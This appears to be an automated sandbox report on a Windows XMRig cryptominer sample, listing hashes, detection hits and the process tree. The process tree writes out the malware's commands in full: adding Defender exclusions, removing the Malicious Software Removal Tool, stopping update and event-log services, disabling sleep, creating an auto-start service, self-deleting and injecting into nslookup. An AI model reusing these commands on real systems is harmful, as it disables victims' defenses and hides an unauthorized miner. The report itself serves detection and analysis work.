Analysis
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max time kernel
120s -
max time network
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platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
22-12-2024 08:05
Static task
static1
Behavioral task
behavioral1
Sample
3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0N.exe
Resource
win7-20240903-en
General
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Target
3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0N.exe
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Size
5.6MB
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MD5
dd243c21db81ace53b717a4722a95610
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SHA1
696c164b43f98f285d7a090bc1d5c6fed054bbc5
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SHA256
3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0
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SHA512
dd20986a7bf80477902db7d15e4af61eb07a6a226cc61c0e82596ea6d40f4089272c01246f4e7b6c41b28b391843e8505a4dff352d16923774dee01845e86590
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SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 9 IoCs
resource yara_rule behavioral1/memory/2456-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2456-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2456-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2456-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2456-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2456-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2456-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2456-42-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2456-41-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2520 powershell.exe 2692 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 2124 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 476 Process not Found 684 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
pid Process 476 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 1472 powercfg.exe 1888 powercfg.exe 2172 powercfg.exe 2168 powercfg.exe 2108 powercfg.exe 2880 powercfg.exe 1052 powercfg.exe 1256 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\MRT.exe 3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0N.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 684 set thread context of 2396 684 fqwofdtexigy.exe 87 PID 684 set thread context of 2456 684 fqwofdtexigy.exe 90 -
resource yara_rule behavioral1/memory/2456-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2456-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2456-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2456-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2456-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2456-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2456-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2456-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2456-40-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2456-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2456-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2456-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2456-42-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2456-41-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2636 sc.exe 2376 sc.exe 2156 sc.exe 592 sc.exe 2576 sc.exe 2948 sc.exe 328 sc.exe 2708 sc.exe 3028 sc.exe 600 sc.exe 2400 sc.exe 1880 sc.exe 2144 sc.exe 2716 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 307b76464854db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2664 3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0N.exe 2692 powershell.exe 2664 3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0N.exe 2664 3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0N.exe 2664 3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0N.exe 2664 3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0N.exe 2664 3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0N.exe 2664 3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0N.exe 2664 3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0N.exe 2664 3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0N.exe 2664 3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0N.exe 2664 3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0N.exe 2664 3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0N.exe 2664 3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0N.exe 2664 3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0N.exe 2664 3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0N.exe 2664 3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0N.exe 684 fqwofdtexigy.exe 2520 powershell.exe 684 fqwofdtexigy.exe 684 fqwofdtexigy.exe 684 fqwofdtexigy.exe 684 fqwofdtexigy.exe 684 fqwofdtexigy.exe 684 fqwofdtexigy.exe 684 fqwofdtexigy.exe 684 fqwofdtexigy.exe 684 fqwofdtexigy.exe 684 fqwofdtexigy.exe 684 fqwofdtexigy.exe 684 fqwofdtexigy.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe 2456 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2692 powershell.exe Token: SeShutdownPrivilege 1052 powercfg.exe Token: SeShutdownPrivilege 1256 powercfg.exe Token: SeShutdownPrivilege 1472 powercfg.exe Token: SeShutdownPrivilege 2880 powercfg.exe Token: SeDebugPrivilege 2520 powershell.exe Token: SeShutdownPrivilege 2108 powercfg.exe Token: SeShutdownPrivilege 2172 powercfg.exe Token: SeShutdownPrivilege 1888 powercfg.exe Token: SeShutdownPrivilege 2168 powercfg.exe Token: SeLockMemoryPrivilege 2456 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2836 wrote to memory of 2544 2836 cmd.exe 39 PID 2836 wrote to memory of 2544 2836 cmd.exe 39 PID 2836 wrote to memory of 2544 2836 cmd.exe 39 PID 2124 wrote to memory of 2416 2124 cmd.exe 64 PID 2124 wrote to memory of 2416 2124 cmd.exe 64 PID 2124 wrote to memory of 2416 2124 cmd.exe 64 PID 2256 wrote to memory of 1960 2256 cmd.exe 73 PID 2256 wrote to memory of 1960 2256 cmd.exe 73 PID 2256 wrote to memory of 1960 2256 cmd.exe 73 PID 684 wrote to memory of 2396 684 fqwofdtexigy.exe 87 PID 684 wrote to memory of 2396 684 fqwofdtexigy.exe 87 PID 684 wrote to memory of 2396 684 fqwofdtexigy.exe 87 PID 684 wrote to memory of 2396 684 fqwofdtexigy.exe 87 PID 684 wrote to memory of 2396 684 fqwofdtexigy.exe 87 PID 684 wrote to memory of 2396 684 fqwofdtexigy.exe 87 PID 684 wrote to memory of 2396 684 fqwofdtexigy.exe 87 PID 684 wrote to memory of 2396 684 fqwofdtexigy.exe 87 PID 684 wrote to memory of 2396 684 fqwofdtexigy.exe 87 PID 684 wrote to memory of 2456 684 fqwofdtexigy.exe 90 PID 684 wrote to memory of 2456 684 fqwofdtexigy.exe 90 PID 684 wrote to memory of 2456 684 fqwofdtexigy.exe 90 PID 684 wrote to memory of 2456 684 fqwofdtexigy.exe 90 PID 684 wrote to memory of 2456 684 fqwofdtexigy.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0N.exe"C:\Users\Admin\AppData\Local\Temp\3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0N.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2664 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2692
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2836 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2544
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2708
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2716
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2576
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:592
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:3028
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1472
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1256
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1052
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2880
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:2636
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:2376
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:2400
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:600
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\3f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0N.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2124 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2416
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C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:684 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2520
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2256 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:1960
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2144
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1880
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:328
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2156
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2948
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2108
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2168
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2172
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1888
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2396
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2456
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD5dd243c21db81ace53b717a4722a95610
SHA1696c164b43f98f285d7a090bc1d5c6fed054bbc5
SHA2563f676242c4ebe856815c5b5083d786d1593bdbc33cae8eb939244c93e89904b0
SHA512dd20986a7bf80477902db7d15e4af61eb07a6a226cc61c0e82596ea6d40f4089272c01246f4e7b6c41b28b391843e8505a4dff352d16923774dee01845e86590